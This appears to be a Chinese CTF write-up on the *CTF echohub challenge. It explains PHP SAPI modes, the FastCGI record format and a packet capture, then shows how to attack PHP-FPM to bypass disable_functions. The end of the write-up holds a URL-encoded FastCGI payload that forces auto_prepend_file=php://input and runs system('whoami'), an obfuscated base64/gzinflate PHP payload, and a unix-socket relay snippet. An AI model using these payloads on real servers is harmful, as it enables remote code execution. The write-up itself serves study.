前言 同样是上周的 *CTF 的 Web 题目,题目用 PHP 仿写了函数调用栈,主要思路是栈溢出 + PHP-FPM 绕过 disable_functions,相关的 payload 脚本已经有前辈大师傅们写好了,因为我对 PHP 的几种模式了解得不是很清楚,所以研究学习一下,再写篇文章加以总结。
https://bugs.php.net/bug.php?id=70134
https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75
环境搭建 为了方便研究,首先用 docker 搭个全新环境,使用的是 Ubuntu18 得镜像:
1 2 3 4 apt-get update apt-get install software-properties-common add-apt-repository -y ppa:ondrej/php apt-get install php7.3 php7.3-fpm tzdata vim apache2 nginx tcpdump curl
使用 add-apt-repository 能方便地在 Ubuntu 下安装各种新版本的软件。修改 nginx 配置文件,跟 PHP-FPM 搭起来,也可以在上面的 index 配置中加上 index.php:
1 2 3 4 5 6 7 location ~ \.php$ { include snippets/fastcgi-php.conf; # With php-fpm (or other unix sockets): # fastcgi_pass unix:/var/run/php/php7.3-fpm.sock; # With php-cgi (or other tcp sockets): fastcgi_pass 127.0.0.1:9000; }
同时修改 PHP-FPM 的配置文件 /etc/php/7.3/fpm/pool.d/www.conf,改为监听端口 9000,方便我们抓包进行观察。
mod_php、CGI、FastCGI、PHP-FPM 文章:http://www.php.cn/php-weizijiaocheng-392861.html
mod_php 经常使用 Apache + PHP 的肯定对 mod_php 不陌生,在这种模式中,PHP 作为 Apache 中的一个模块存在:
1 LoadModule php7_module /usr/lib/apache2/modules/libphp7.3.so
而 php7.3.conf 中的配置如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <FilesMatch ". +\.ph (ar |p |tml )$"> SetHandler application/x-httpd-php</FilesMatch > <FilesMatch ". +\.phps $"> SetHandler application/x-httpd-php-source # Deny access to raw php sources by default # To re-enable it's recommended to enable access to the files # only in specific virtual host or directory Require all denied</FilesMatch > # Deny access to files without filename (e.g. '.php')<FilesMatch "^\.ph (ar |p |ps |tml )$"> Require all denied</FilesMatch > # Running PHP scripts in user directories is disabled by default # # To re-enable PHP in user directories comment the following lines # (from <IfModule ... > to </IfModule > .) Do NOT set it to On as it # prevents .htaccess files from disabling it.<IfModule mod_userdir.c > <Directory /home /*/public_html > php_admin_flag engine Off </Directory > </IfModule >
所以当我们向符合正则 .+.ph(ar|p|tml)$ 的文件发起 HTTP 请求的时候,Apache 就会把它作为 PHP 文件来处理,调用 php7_module 来进行解析并返回结果。PHP 模块再通过 SAPI 跟 PHP 进行数据交互:https://www.cnblogs.com/orlion/p/5157280.html 。在 PHP 的源码中,当需要调用 Web 服务器相关信息时,全部通过 SAPI 接口中对应的方法调用实现,而这些方法在各个服务器抽象层实现时都会有各自的实现。通过 SAPI,PHP 就可以获得来自其他应用(比如 Apache)的数据。
这种模式将 PHP 模块安装到 Apache 中,所以每一次 Apache 结束请求,都会产生一条进程,这个进程就完整的包括 PHP 的各种运算计算等操作。Apache 每接收一个请求,都会产生一个进程来连接 PHP 通过 SAPI 来完成请求,可想而知,如果一旦用户过多,并发数过多,服务器就会承受不住了。而且,把 mod_php 编进 Apache 时,出问题时很难定位是 PHP 的问题还是 Apache 的问题。
CGI 参考文章:https://www.cnblogs.com/wanghetao/p/3934350.html
CGI 我用的不多,所以直接贴文章的内容了。
CGI(Common Gateway Interface)全称是“通用网关接口”,WEB 服务器与 PHP 应用进行“交谈”的一种工具,其程序须运行在网络服务器上。CGI 可以用任何一种语言编写,只要这种语言具有标准输入、输出和环境变量。如 PHP、Perl 等。
CGI 程序通过标准输入(STDIN)和标准输出(STDOUT)来进行输入输出。此外 CGI 程序还通过环境变量来得到输入,操作系统提供了许多环境变量,它们定义了程序的执行环境,应用程序可以存取它们。Web 服务器和 CGI 接口又另外设置了一些环境变量,用来向 CGI 程序传递一些重要的参数。CGI 的 GET 方法还通过环境变量 QUERY-STRING 向 CGI 程序传递 Form 中的数据。
WEB服务器会传哪些数据给PHP解析器呢?URL、查询字符串、POST 数据、HTTP header 都会有。所以,CGI 就是规定要传哪些数据,以什么样的格式传递给后方处理这个请求的协议。
也就是说,CGI 就是专门用来和 Web 服务器打交道的。Web 服务器收到用户请求,就会把请求提交给 CGI 程序(如 PHP-CGI ),CGI 程序根据请求提交的参数作应处理(解析 PHP ),然后输出标准的 HTML 语句,返回给 Web 服务器,Web 服务器再返回给客户端,这就是普通 CGI 的工作原理。
CGI 的好处就是完全独立于任何服务器,仅仅是做为中间分子。提供接口给 Apache 和 PHP。他们通过 CGI 搭线来完成数据传递。这样做的好处了尽量减少2个的关联,使他们2变得更独立。
但是 CGI 有个不好的地方,就是每一次 Web 请求都会有启动和退出过程,也就是最为人诟病的 fork-and-execute 模式,这样一在大规模并发下,就死翘翘了。
FastCGI 从根本上来说,FastCGI 是用来提高 CGI 程序性能的。类似于 CGI,FastCGI 也可以说是一种协议。
FastCGI 像是一个常驻(long-live)型的 CGI,它可以一直执行着,只要激活后,不会每次都要花费时间去 fork 一次。它还支持分布式的运算, 即 FastCGI 程序可以在网站服务器以外的主机上执行,并且接受来自其它网站服务器来的请求。
FastCGI 是语言无关的、可伸缩架构的 CGI 开放扩展,其主要行为是将 CGI 解释器进程保持在内存中,并因此获得较高的性能。众所周知,CGI 解释器的反复加载是 CGI 性能低下的主要原因,如果 CGI 解释器保持在内存中,并接受 FastCGI 进程管理器调度,则可以提供良好的性能、伸缩性、Fail-Over 特性等等。
FastCGI 将 Web 服务器跟脚本解析完全分离,处理方式类似反向代理,Web 服务器负责将 HTTP 请求处理一遍之后,按照 FastCGI 协议的规范将请求转交给 FastCGI,然后等待 FastCGI 处理完毕后再将响应返回给客户端。这种方式可以让 HTTP 服务器专一地处理静态请求,或者将动态脚本服务器的结果返回给客户端,这在很大程度上提高了整个应用系统的性能。
FastCGI 进程管理器自身初始化,启动多个 CGI 解释器进程(可建多个 php-cgi ),并等待来自 Web Server 的连接。
当客户端请求到达 Web Server 时,FastCGI 进程管理器选择并连接到一个 CGI 解释器。Web server 将 CGI 环境变量和标准输入发送到 FastCGI 子进程 php-cgi。
FastCGI 子进程完成处理后,将标准输出和错误信息从同一连接返回 Web Server。当 FastCGI 子进程关闭连接时,请求便告处理完成。FastCGI 子进程接着等待,并处理来自 FastCGI 进程管理器(运行在 Web Server 中)的下一个连接。
因为 FastCGI 运行在内存中,所以它会消耗更多的服务器内存。
PHP-FPM PHP-FPM 是 FastCGI 的一种具体实现:https://www.php.net/manual/zh/install.fpm.php
主要有两种交互方式:TCP 和 Unix socket。
Unix socket(Unix domain socket/IPC)主要用于 Unix 系统中的进程间通信,它是全双工的,因为是本地通信,它仅仅复制数据,并不执行协议处理,不需要添加或删除网络报头,无需计算检验和,不要产生顺序号,无需发送确认报文。所以它的效率要高于网络 socket。熟悉 MySQL 的人就会联想到,在连接本地 MySQL 的时候经常使用的也是这种通信方式。
FastCGI协议 首先自己抓个包来玩玩:
1 tcpdump -i lo port 9000 -w fastcgi.pcap
然后写个 PHP 自己去访问一下,把抓到的包下载到本地打开,过滤一下只看请求包:
可以看到一个 0x0000 协议的包,我们追踪 TCP 流看到请求内容。
对 FastCGI 协议的分析可以看这几篇文章:
https://www.cnblogs.com/caiguoqing/p/4933085.html
https://blog.csdn.net/shreck66/article/details/50355729
大致上 record 头的结构如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 typedef struct { unsigned char version; unsigned char type; unsigned char requestIdB1; unsigned char requestIdB0; unsigned char contentLengthB1; unsigned char contentLengthB0; unsigned char paddingLength; unsigned char reserved; unsigned char contentData[contentLength]; unsigned char paddingData[paddingLength]; } FCGI_Record;
而几种常用的 type 的意思分别是:
type值
具体含义
1
在与php-fpm建立连接之后发送的第一个消息中的type值就得为1,用来表明此消息为请求开始的第一个消息
2
异常断开与php-fpm的交互
3
在与php-fpm交互中所发的最后一个消息中type值为此,以表明交互的正常结束
4
在交互过程中给php-fpm传递环境参数时,将type设为此,以表明消息中包含的数据为某个name-value对
5
web服务器将从浏览器接收到的POST请求数据(表单提交等)以消息的形式发给php-fpm,这种消息的type就得设为5
6
php-fpm给web服务器回的正常响应消息的type就设为6
7
php-fpm给web服务器回的错误响应设为7
现在我们可以开始分析我们自己的包了,我的包如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 00000000 01 01 00 01 00 08 00 00 00 01 00 00 00 00 00 00 ........ ........00000010 01 04 00 01 03 80 00 00 09 00 50 41 54 48 5 f 49 ........ ..PATH_I00000020 4 e 46 4 f 0 f 17 53 43 52 49 50 54 5 f 46 49 4 c 45 NFO..SCR IPT_FILE00000030 4 e 41 4 d 45 2 f 76 61 72 2 f 77 77 77 2 f 68 74 6 d NAME/var /www/htm00000040 6 c 2 f 69 6 e 64 65 78 2 e 70 68 70 0 c 00 51 55 45 l/index. php..QUE00000050 52 59 5 f 53 54 52 49 4 e 47 0 e 03 52 45 51 55 45 RY_STRIN G..REQUE00000060 53 54 5 f 4 d 45 54 48 4 f 44 47 45 54 0 c 00 43 4 f ST_METHO DGET..CO00000070 4 e 54 45 4 e 54 5 f 54 59 50 45 0 e 00 43 4 f 4 e 54 NTENT_TY PE..CONT00000080 45 4 e 54 5 f 4 c 45 4 e 47 54 48 0 b 0 a 53 43 52 49 ENT_LENG TH..SCRI00000090 50 54 5 f 4 e 41 4 d 45 2 f 69 6 e 64 65 78 2 e 70 68 PT_NAME/ index.ph000000A0 70 0 b 0 a 52 45 51 55 45 53 54 5 f 55 52 49 2 f 69 p..REQUE ST_URI/i000000B0 6 e 64 65 78 2 e 70 68 70 0 c 0 a 44 4 f 43 55 4 d 45 ndex.php ..DOCUME000000C0 4 e 54 5 f 55 52 49 2 f 69 6 e 64 65 78 2 e 70 68 70 NT_URI/i ndex.php000000D0 0 d 0 d 44 4 f 43 55 4 d 45 4 e 54 5 f 52 4 f 4 f 54 2 f ..DOCUME NT_ROOT/000000E0 76 61 72 2 f 77 77 77 2 f 68 74 6 d 6 c 0 f 08 53 45 var/www/ html..SE000000F0 52 56 45 52 5 f 50 52 4 f 54 4 f 43 4 f 4 c 48 54 54 RVER_PRO TOCOLHTT00000100 50 2 f 31 2 e 31 0 e 04 52 45 51 55 45 53 54 5 f 53 P/1 .1 ..R EQUEST_S00000110 43 48 45 4 d 45 68 74 74 70 11 07 47 41 54 45 57 CHEMEhtt p..GATEW00000120 41 59 5 f 49 4 e 54 45 52 46 41 43 45 43 47 49 2 f AY_INTER FACECGI/00000130 31 2 e 31 0 f 0 c 53 45 52 56 45 52 5 f 53 4 f 46 54 1 .1 ..SER VER_SOFT00000140 57 41 52 45 6 e 67 69 6 e 78 2 f 31 2 e 31 34 2 e 30 WAREngin x/1 .14 .0 00000150 0 b 0 b 52 45 4 d 4 f 54 45 5 f 41 44 44 52 ?? ?? 2 e ..REMOTE _ADDR??.00000160 ?? ?? 2 e ?? ?? 2 e ?? ?? 0 b 05 52 45 4 d 4 f 54 45 ??.??.?? ..REMOTE00000170 5 f 50 4 f 52 54 32 36 39 37 32 0 b 0 a 53 45 52 56 _PORT269 72 ..SERV00000180 45 52 5 f 41 44 44 52 31 37 32 2 e 31 37 2 e 30 2 e ER_ADDR1 72 .17 .0 .00000190 32 0 b 02 53 45 52 56 45 52 5 f 50 4 f 52 54 38 30 2 ..SERVE R_PORT80000001A0 0 b 01 53 45 52 56 45 52 5 f 4 e 41 4 d 45 5 f 0 f 03 ..SERVER _NAME_..000001B0 52 45 44 49 52 45 43 54 5 f 53 54 41 54 55 53 32 REDIRECT _STATUS2000001C0 30 30 09 15 48 54 54 50 5 f 48 4 f 53 54 ?? ?? ?? 00 ..HTTP _HOST???000001D0 ?? ?? ?? ?? ?? ?? ?? ?? ?? 2 e 63 6 e 3 a 33 32 37 ???????? ?.cn:327 000001E0 37 30 0 f 0 a 48 54 54 50 5 f 43 4 f 4 e 4 e 45 43 54 70 ..HTTP _CONNECT000001F0 49 4 f 4 e 6 b 65 65 70 2 d 61 6 c 69 76 65 0 b 08 48 IONkeep- alive..H00000200 54 54 50 5 f 50 52 41 47 4 d 41 6 e 6 f 2 d 63 61 63 TTP_PRAG MAno-cac00000210 68 65 12 08 48 54 54 50 5 f 43 41 43 48 45 5 f 43 he..HTTP _CACHE_C00000220 4 f 4 e 54 52 4 f 4 c 6 e 6 f 2 d 63 61 63 68 65 1 e 01 ONTROLno -cache..00000230 48 54 54 50 5 f 55 50 47 52 41 44 45 5 f 49 4 e 53 HTTP_UPG RADE_INS00000240 45 43 55 52 45 5 f 52 45 51 55 45 53 54 53 31 0 f ECURE_RE QUESTS1.00000250 6 e 48 54 54 50 5 f 55 53 45 52 5 f 41 47 45 4 e 54 nHTTP_US ER_AGENT00000260 4 d 6 f 7 a 69 6 c 6 c 61 2 f 35 2 e 30 20 28 57 69 6 e Mozilla/ 5 .0 (Win00000270 64 6 f 77 73 20 4 e 54 20 31 30 2 e 30 3 b 20 57 4 f dows NT 10 .0 ; WO00000280 57 36 34 29 20 41 70 70 6 c 65 57 65 62 4 b 69 74 W64) App leWebKit00000290 2 f 35 33 37 2 e 33 36 20 28 4 b 48 54 4 d 4 c 2 c 20 /537 .36 (KHTML, 000002A0 6 c 69 6 b 65 20 47 65 63 6 b 6 f 29 20 43 68 72 6 f like Gec ko) Chro000002B0 6 d 65 2 f 37 33 2 e 30 2 e 33 36 38 33 2 e 31 30 33 me/73 .0 . 3683 .103 000002C0 20 53 61 66 61 72 69 2 f 35 33 37 2 e 33 36 0 b 76 Safari/ 537 .36 .v000002D0 48 54 54 50 5 f 41 43 43 45 50 54 74 65 78 74 2 f HTTP_ACC EPTtext/000002E0 68 74 6 d 6 c 2 c 61 70 70 6 c 69 63 61 74 69 6 f 6 e html,app lication000002F0 2 f 78 68 74 6 d 6 c 2 b 78 6 d 6 c 2 c 61 70 70 6 c 69 /xhtml+x ml,appli00000300 63 61 74 69 6 f 6 e 2 f 78 6 d 6 c 3 b 71 3 d 30 2 e 39 cation/x ml;q=0 .9 00000310 2 c 69 6 d 61 67 65 2 f 77 65 62 70 2 c 69 6 d 61 67 ,image/w ebp,imag00000320 65 2 f 61 70 6 e 67 2 c 2 a 2 f 2 a 3 b 71 3 d 30 2 e 38 e/apng,* /*;q=0 .8 00000330 2 c 61 70 70 6 c 69 63 61 74 69 6 f 6 e 2 f 73 69 67 ,applica tion/sig00000340 6 e 65 64 2 d 65 78 63 68 61 6 e 67 65 3 b 76 3 d 62 ned-exch ange;v=b00000350 33 14 0 d 48 54 54 50 5 f 41 43 43 45 50 54 5 f 45 3 ..HTTP_ ACCEPT_E00000360 4 e 43 4 f 44 49 4 e 47 67 7 a 69 70 2 c 20 64 65 66 NCODINGg zip, def00000370 6 c 61 74 65 14 0 e 48 54 54 50 5 f 41 43 43 45 50 late..HT TP_ACCEP00000380 54 5 f 4 c 41 4 e 47 55 41 47 45 7 a 68 2 d 43 4 e 2 c T_LANGUA GEzh-CN,00000390 7 a 68 3 b 71 3 d 30 2 e 39 01 04 00 01 00 00 00 00 zh;q=0 .9 ........000003A0 01 05 00 01 00 00 00 00 ........
我们可以看到这里有很多在 PHP 的 SERVER 全局变量中很眼熟的参数,我们将它进行拆分,第一个包为:
1 01 01 00 01 00 08 00 00 00 01 00 00 00 00 00 00
其中前 8 位位 FastCGI record 的头,它的意思即:
version 为 01
type 为 01,表示这是第一个包
00 01 表示通信 ID 为 1
00 08 表示 body 大小为8
00 00 表示 padding 长度为 0,没有保留字节
后 8 位则是 body,它的意思是:
可以看见第一个包只是一些初始设置,接下来我们看第二个包,我们先看头:
01 为 version
04 说明在这个包中传递了环境参数
00 01 为通信 ID
03 80 说明 body 长度为 0x380,即 896,正好是总长度(936) - 两个包(32) - 头(8)
00 00 表示 padding 长度为 0,没有保留字节
type = 4,body 的格式如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 typedef struct { unsigned char nameLengthB0; unsigned char valueLengthB0; unsigned char nameData[nameLength]; unsigned char valueData[valueLength]; } FCGI_NameValuePair11;typedef struct { unsigned char nameLengthB0; unsigned char valueLengthB3; unsigned char valueLengthB2; unsigned char valueLengthB1; unsigned char valueLengthB0; unsigned char nameData[nameLength]; unsigned char valueData[valueLength ((B3 & 0x7f ) << 24 ) + (B2 << 16 ) + (B1 << 8 ) + B0]; } FCGI_NameValuePair14;typedef struct { unsigned char nameLengthB3; unsigned char nameLengthB2; unsigned char nameLengthB1; unsigned char nameLengthB0; unsigned char valueLengthB0; unsigned char nameData[nameLength ((B3 & 0x7f ) << 24 ) + (B2 << 16 ) + (B1 << 8 ) + B0]; unsigned char valueData[valueLength]; } FCGI_NameValuePair41;typedef struct { unsigned char nameLengthB3; unsigned char nameLengthB2; unsigned char nameLengthB1; unsigned char nameLengthB0; unsigned char valueLengthB3; unsigned char valueLengthB2; unsigned char valueLengthB1; unsigned char valueLengthB0; unsigned char nameData[nameLength ((B3 & 0x7f ) << 24 ) + (B2 << 16 ) + (B1 << 8 ) + B0]; unsigned char valueData[valueLength ((B3 & 0x7f ) << 24 ) + (B2 << 16 ) + (B1 << 8 ) + B0]; } FCGI_NameValuePair44;
我们来看这个包的 body,我们可以看到在一般情况下,键和值的长度用一个字节来表示就足够了,我们可以按照格式将 body 切分成很多个键值对:
1 2 3 4 5 6 7 8 9 10 data = "" data = data[24 :-16 ] point = 0 while point < len (data): key_len = ord (data[point]) value_len = ord (data[point + 1 ]) point += 2 print data[point: point + key_len] + ": " + data[point + key_len: point + key_len + value_len] point += key_len + value_len
效果:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 PATH_INFO: SCRIPT_FILENAME: /var/www/html/index.php QUERY_STRING: REQUEST_METHOD: GETCONTENT_TYPE: CONTENT_LENGTH: SCRIPT_NAME: /index.php REQUEST_URI: /index.php DOCUMENT_URI: /index.php DOCUMENT_ROOT: /var/www/html SERVER_PROTOCOL: HTTP/1.1 REQUEST_SCHEME: httpGATEWAY_INTERFACE: CGI/1.1 SERVER_SOFTWARE: nginx/1.14.0 REMOTE_ADDR: ? ? .? ? .? ? .? ? REMOTE_PORT: 26972 SERVER_ADDR: 172.17 .0.2 SERVER_PORT: 80 SERVER_NAME: _REDIRECT_STATUS: 200 HTTP_HOST: ? ? ? ? ? ? ? ? ? ? ? ? .cn:32770 HTTP_CONNECTION: keep-aliveHTTP_PRAGMA: no-cacheHTTP_CACHE_CONTROL: no-cacheHTTP_UPGRADE_INSECURE_REQUESTS: 1 HTTP_USER_AGENT: Mozilla/5.0 (Windows NT 10.0 ; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36 HTTP_ACCEPT: text/ html,application/ xhtml+ xml,application/xml ;q = 0.9 ,image/ webp,image/ apng,*
最后我们来看看最后一个包:
1 01 04 00 01 00 00 00 00 01 05 00 01 00 00 00 00
这似乎不是一个包,看起来应该是环境参数包的结尾,加上一个 type = 5(即 POST 提交的数据)的包的头,不过因为我们是 GET 请求,所以这个包没有 body。type = 5 的包(Stdin 数据包),这种包比较简单,body 就是 POST 的 body,比如 *CTF 的 payload 里面的包(拆开):
1 2 3 01 05 14 EC 01 1 B 00 00 <?php system (gzinflate (base64_decode ("jY7BCsIwDIZfJRTBVZzDHVf1ohdPE9QHKFvcCrUraacIPrztHJ487BKS///+JBZJQ4ow7x3CU5JRpnEiDs6TqvzQHk/7oigtmlzM3rCFtajaWlHCMsbF/QUzq+ogd5FIFl3v8yUslAmVrTJCWd+0bBiHjqBWOCQIrX6FzCbSO2FJGQ/ny6G8XkZTTIPiMmncEymA+JA6+Tp8xMMbwH4IE1FIdzfduzbhYsqJf9qU3BRm/gE=" )));01 05 14 EC 00 00 00 00
对 FastCGI 的分析到这里就结束了,分析过 FastCGI 协议后,自己写脚本也不是那么难了呢。
当然,菜鸡的我自然还是用大师傅们写好的脚本 √ 。
PHP-FPM利用方式 ph 牛早已做过研究:https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html
主要的攻击方式:SSRF 发送 TCP 包(TCP),或者通过 stream_socket_client(Unix socket)。
虽然能执行的只有服务器上已经存在的 PHP 文件,但是我们可以通过设置 auto_prepend_file = php://input 且 allow_url_include = On,然后将 PHP 代码放在 POST body 中即可 RCE。
我们稍加修改 ph 牛的脚本中的 request 函数,将 开头的连接判断 和 send 注释掉,直接 return request 进行输出即可,system(“whoami”) 的 payload 如下:
1 %01 %01 %C8 %0C %00 %08 %00 %00 %00 %01 %00 %00 %00 %00 %00 %00 %01 %04 %C8 %0C %01 %DB %00 %00 %0E %02CONTENT_LENGTH23 %0C %10CONTENT_TYPEapplication /text %0B %04REMOTE_PORT9985 %0B %09SERVER_NAMElocalhost %11 %0BGATEWAY_INTERFACEFastCGI /1.0 %0F %0ESERVER_SOFTWAREphp /fcgiclient%0B %09REMOTE_ADDR127 .0 .0 .1 %0F %17SCRIPT_FILENAME /var/www/html/index.php%0B %17SCRIPT_NAME /var/www/html/index.php%09 %1FPHP_VALUEauto_prepend_file %20 %3D %20php %3A //input%0E %04REQUEST_METHODPOST %0B %02SERVER_PORT80 %0F %08SERVER_PROTOCOLHTTP /1.1 %0C %00QUERY_STRING %0F %16PHP_ADMIN_VALUEallow_url_include %20 %3D %20On %0D %01DOCUMENT_ROOT /%0B %09SERVER_ADDR127 .0 .0 .1 %0B %17REQUEST_URI /var/www/html/index.php%01 %04 %C8 %0C %00 %00 %00 %00 %01 %05 %C8 %0C %00 %17 %00 %00 %3C %3Fphp %20system %28 %22whoami %22 %29 %3B %01 %05 %C8 %0C %00 %00 %00 %00
使用 CURL 的 Gopher 协议进行发包,或者也可以使用 socket 进行连接。
如果 PHP-FPM 使用的是 Unix socket,则需要执行如下的 PHP 代码:
1 <?php $sock =stream_socket_client ('unix:///run/php/php7.3-fpm.sock' );fputs ($sock , $_GET ['code' ]);var_dump (fread ($sock , 4096 ));
然后提交 payload 即可。
参考文章:
https://xz.aliyun.com/t/5006#toc-3
https://github.com/sixstars/starctf2019/tree/master/web-echohub